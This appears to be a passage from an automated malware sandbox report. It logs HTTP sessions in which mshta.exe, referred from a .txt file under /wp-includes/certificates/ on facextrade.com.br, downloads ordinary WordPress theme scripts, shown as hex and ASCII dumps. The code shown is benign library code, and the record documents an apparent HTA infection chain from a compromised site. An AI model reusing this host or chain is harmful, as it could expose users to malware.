72 65 71 75 69 72 65 73 20 79 6f 75 20 74 6f 20 75 70 64 61 74 65 20 74 6f 20 61 20 76 65 72 73 69 6f 6e 20 6f 66 20 68 6f 76 65 72 49 6e 74 65 6e 74 20 74 68 61 74 20 73 75 70 70 6f 72 74 73 20 65 76 65 6e 74 2d 64 65 6c 65 67 61 74 69 6f 6e 2c 20 73 75 63 68 20 61 73 20 74 68 69 73 20 6f 6e 65 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 6f 65 6c 64 62 69 72 63 68 2f 6f 6e 48 6f 76 65 72 49 6e 74 65 6e 74 22 29 3b 63 3d 63 2e 63 6c 6f 73 65 73 74 28 22 2e 22 2b 65 2e 6d 65 6e 75 43 6c 61 73 73 29 5b 30 5d 3b 64 2e 6f 70 3d 64 2e 6f 5b 63 2e 73 65 72 69 61 6c 5d 3b 72 65 74 75 72 6e 20 63 7d 2c
                                                              Data Ascii: (function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> &#187;</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type||"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type||"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},
                                                              Aug 16, 2022 10:33:28.850099087 CEST2489OUTGET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:29.093925953 CEST2513INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:28:48 GMT
                                                              Server: Apache
                                                              ETag: "a534c0-228c-58592d497f080"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT
                                                              Content-Length: 8844
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 17727200 13533865
                                                              Age: 280
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 0a 20 2a 20 50 6c 61 79 6c 69 73 74 20 4f 62 6a 65 63 74 20 66 6f 72 20 74 68 65 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 33 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 2e 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 63 6f 70 79 6c 65 66 74 2f 67 70 6c 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 33 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 30 74 68 20 41 70 72 69 6c 20 32 30 31 33 0a 20 2a 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 0a 20 2a 20 20 2d 20 6a 51 75 65 72 79 20 31 2e 37 2e 30 2b 0a 20 2a 20 20 2d 20 6a 50 6c 61 79 65 72 20 32 2e 33 2e 30 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 6a 50 6c 61 79 65 72 50 6c 61 79 6c 69 73 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 30 3b 74 68 69 73 2e 72 65 6d 6f 76 69 6e 67 3d 74 68 69 73 2e 73 68 75 66 66 6c 65 64 3d 74 68 69 73 2e 6c 6f 6f 70 3d 21 31 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 3d 62 2e 65 78 74 65 6e 64 28 7b 7d 2c 74 68 69 73 2e 5f 63 73 73 53 65 6c 65 63 74 6f 72 2c 61 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 6b 65 79 42 69 6e 64 69 6e 67 73 3a 7b 6e 65 78 74 3a 7b 6b 65 79 3a 33 39 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 6e 65 78 74 28 29 7d 7d 2c 70 72 65 76 69 6f 75 73 3a 7b 6b 65 79 3a 33 37 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 72 65 76 69 6f 75 73 28 29 7d 7d 7d 7d 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2c 64 29 3b 74 68 69 73 2e 70 6c 61 79 6c 69 73 74 3d 5b 5d 3b 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 3d 5b 5d 3b 74 68 69 73 2e 5f 69 6e 69 74 50 6c 61 79 6c 69 73 74 28 63 29 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 74 69 74 6c 65 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 74 69 74 6c 65 22 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 70 6c 61 79 6c 69 73 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 70 6c 61 79 6c 69 73 74 22 3b 0a 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 6e 65 78 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73
                                                              Data Ascii: /* * Playlist Object for the jPlayer Plugin * http://www.jplayer.org * * Copyright (c) 2009 - 2013 Happyworm Ltd * Dual licensed under the MIT and GPL licenses. * - http://www.opensource.org/licenses/mit-license.php * - http://www.gnu.org/copyleft/gpl.html * * Author: Mark J Panaghiston * Version: 2.3.0 * Date: 20th April 2013 * * Requires: * - jQuery 1.7.0+ * - jPlayer 2.3.0+ */(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";this.cssSelector.next=this.cssSelector.cssSelectorAnces
                                                              Aug 16, 2022 10:33:29.098071098 CEST2522OUTGET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:29.341695070 CEST2568INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:28:51 GMT
                                                              Server: Apache
                                                              ETag: "a53571-9ca-58592d4b67500"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT
                                                              Content-Length: 2506
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 17727202 17187988
                                                              Age: 277
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 74 6d 53 74 69 63 6b 55 70 3d 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 7b 0a 0a 09 09 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 09 09 09 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 61 63 74 69 76 65 3a 20 66 61 6c 73 65 0a 09 09 2c 09 70 73 65 75 64 6f 3a 20 74 72 75 65 0a 09 09 7d 0a 09 09 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 76 61 72 0a 09 09 09 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 09 09 2c 09 5f 77 69 6e 64 6f 77 20 3d 20 24 28 77 69 6e 64 6f 77 29 0a 09 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 09 2c 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 50 61 64 64 69 6e 67 54 6f 70 20 3d 20 30 0a 09 09 2c 09 64 6f 63 75 6d 65 6e 74 53 63 72 6f 6c 6c 20 3d 20 30 0a 09 09 2c 09 70 73 65 75 64 6f 42 6c 6f 63 6b 0a 09 09 2c 09 6c 61 73 74 53 63 72 6f 6c 6c 56 61 6c 75 65 20 3d 20 30 0a 09 09 2c 09 73 63 72 6f 6c 6c 44 69 72 20 3d 20 27 27 0a 09 09 2c 09 74 6d 70 53 63 72 6f 6c 6c 65 64 0a 09 09 3b 0a 0a 09 09 69 66 20 28 5f 74 68 69 73 2e 6c 65 6e 67 74 68 20 21 3d 20 30 29 20 7b 0a 09 09 09 69 6e 69 74 28 29 3b 0a 09 09 7d 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 09 09 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 29 3b 0a 09 09 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 74 6f 70 22 29 29 3b 0a 09 09 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 75 74 65 72 48 65 69 67 68 74 28 74 72 75 65 29 29 3b 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 70 73 65 75 64 6f 29 7b 0a 09 09 09 09 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 22 3e 3c 2f 64 69 76 3e 27 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 5f 74 68 69 73 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 20 3d 20 24 28 27 2e 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 27 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 2e 63 73 73 28 7b 22 70 6f 73 69 74 69 6f 6e 22 3a 22 72 65 6c 61 74 69 76 65 22 2c 20 22 64 69 73 70 6c 61 79 22 3a 22 62 6c 6f 63 6b 22 7d 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 61 63 74 69 76 65 29 7b 0a 09 09 09 09 61 64 64 45 76 65 6e 74 73 46 75
                                                              Data Ascii: (function($){$.fn.tmStickUp=function(options){var getOptions = {correctionSelector: $('.correctionSelector'),listenSelector: $('.listenSelector'),active: false,pseudo: true}$.extend(getOptions, options);var_this = $(this),_window = $(window),_document = $(document),thisOffsetTop = 0,thisOuterHeight = 0,thisMarginTop = 0,thisPaddingTop = 0,documentScroll = 0,pseudoBlock,lastScrollValue = 0,scrollDir = '',tmpScrolled;if (_this.length != 0) {init();}function init(){thisOffsetTop = parseInt(_this.offset().top);thisMarginTop = parseInt(_this.css("margin-top"));thisOuterHeight = parseInt(_this.outerHeight(true));if(getOptions.pseudo){$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);pseudoBlock = $('.pseudoStickyBlock');pseudoBlock.css({"position":"relative", "display":"block"});}if(getOptions.active){addEventsFu
                                                              Aug 16, 2022 10:33:29.343950987 CEST2570OUTGET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:29.589725018 CEST2584INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:29 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT
                                                              Content-Length: 2778
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 17727204
                                                              Age: 0
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 63 65 2e 66 78 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 64 28 22 28 6d 6f 62 69 6c 65 3b 22 29 7c 7c 64 28 22 28
                                                              Data Ascii: /*! device.js 0.1.58 */(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")||d("bb10")||d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(d("(mobile;")||d("(
                                                              Aug 16, 2022 10:33:29.593509912 CEST2587OUTGET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:29.837788105 CEST2600INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:29 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT
                                                              Content-Length: 39402
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 18313217
                                                              Age: 0
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2f 20 43 61 6d 65 72 61 20 73 6c 69 64 65 73 68 6f 77 20 76 31 2e 33 2e 34 20 2d 20 61 20 6a 51 75 65 72 79 20 73 6c 69 64 65 73 68 6f 77 20 77 69 74 68 20 6d 61 6e 79 20 65 66 66 65 63 74 73 2c 20 74 72 61 6e 73 69 74 69 6f 6e 73 2c 20 65 61 73 79 20 74 6f 20 63 75 73 74 6f 6d 69 7a 65 2c 20 75 73 69 6e 67 20 63 61 6e 76 61 73 20 61 6e 64 20 6d 6f 62 69 6c 65 20 72 65 61 64 79 2c 20 62 61 73 65 64 20 6f 6e 20 6a 51 75 65 72 79 20 31 2e 34 2b 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 62 79 20 4d 61 6e 75 65 6c 20 4d 61 73 69 61 20 2d 20 77 77 77 2e 70 69 78 65 64 65 6c 69 63 2e 63 6f 6d 0a 2f 2f 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 63 61 6d 65 72 61 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 41 6e 64 72 6f 69 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 77 65 62 4f 53 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 61 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 68 6f 6e 65 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 6f 64 2f 69 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 28 29 7b 76 61 72 20 62 3d 61 28 73 29 2e 77 69 64 74 68 28 29 3b 61 28 22 6c 69 22 2c 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 61 6d 65 72 61 5f 76 69 73 54 68 75 6d 62 22 29 3b 61 28 22 6c 69 22 2c 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 64 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 65 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 66 3d 61 28 22 3e 20 64 69 76 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 67 3d 66 2d 65 3b 69 66 28 67 3e 30 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 61 64 64 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 69 66 28 64 2d 67 3e 62 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 74 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 74 54 68 75 6d 62 73 22 2c 56 29 2e 61 64 64 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 76 61 72 20 68 3d 63 2e 6c 65 66 74 2c 69
                                                              Data Ascii: // Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)||navigator.userAgent.match(/webOS/i)||navigator.userAgent.match(/iPad/i)||navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nextThumbs",V).addClass("hideNav")}var h=c.left,i


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              3192.168.2.2249172187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:04.610131025 CEST43OUTGET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:04.825475931 CEST108INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:29 GMT
                                                              Server: Apache
                                                              ETag: "a537ae-1a385-5cd2be5b92824"
                                                              Last-Modified: Thu, 30 Sep 2021 00:55:04 GMT
                                                              Content-Length: 107397
                                                              Content-Type: text/css
                                                              Cache-Control: No-Cache
